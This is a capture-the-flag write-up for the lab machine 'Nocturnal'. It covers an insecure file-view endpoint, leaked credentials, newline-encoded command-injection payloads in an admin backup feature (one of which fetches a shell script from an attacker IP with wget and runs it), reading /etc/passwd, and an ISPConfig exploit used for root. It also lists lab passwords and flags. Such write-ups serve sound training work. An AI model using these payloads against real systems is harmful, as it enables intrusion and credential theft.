Nocturnal¶

Initial Scan¶

Discovered open port 22/tcp on 10.10.11.64
Discovered open port 80/tcp on 10.10.11.64

Port 22 is SSH, port 80 is HTTP.

Enumeration¶

The site at http://nocturnal.htb/ allows registration and login. File upload was tested with no useful results. However, the /view.php endpoint allows downloading files from other users:

http://nocturnal.htb/view.php?username=atatatatatatatata123&file=lettre-2.pdf

We enumerate valid usernames with ffuf using a large username wordlist, filtering out "File does not exist" responses.

Credential Discovery¶

Downloading the file privacy.odt from the user amanda reveals a password: ArHkG7HAI68X8s1J

Logging in as amanda at http://nocturnal.htb/admin.php.

Exploitation¶

Admin Panel - Command Injection via Backup¶

The admin panel at /admin.php has a backup feature. The PHP source is readable and reveals the backup command:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

The password is passed directly to the zip command via the -P flag. The cleanEntry function blocks semicolons, pipes, spaces, backticks, and other shell metacharacters, but URL-encoded newlines (%0a) bypass the filter.

Payload to read files:

%0Abash%09-c%09"cat%09/etc/passwd"%0A

Payload to get a reverse shell:

%0Abash%09-c%09"wget%09http://10.10.15.19:4444/shell.sh"%0A
%0Abash%09-c%09"bash%09shell.sh"%0A

Database Access¶

The SQLite database is at /var/www/nocturnal_database/nocturnal_database.db. Extracting the users table:

Cracking Tobias' Hash¶

The MD5 hash for tobias cracks on CrackStation:

SSH Access¶

ssh tobias@10.10.11.64
# password: slowmotionapocalypse

Privilege Escalation¶

CVE-2023-46818 - ISPConfig Authentication Bypass¶

The server runs ISPConfig on port 8080. The ispconfig user is present in /etc/passwd. Using the exploit from https://github.com/ajdumanhug/CVE-2023-46818:

tobias@nocturnal:/tmp$ python3 CVE-2023-46818.py http://127.0.0.1:8080 admin slowmotionapocalypse
ispconfig-shell# cat /root/root.txt
8b1d9f055b0989361a408414973407cd

Flags¶

user.txt: c3c884cd201727c7117f55bf52fc42bd root.txt: 8b1d9f055b0989361a408414973407cd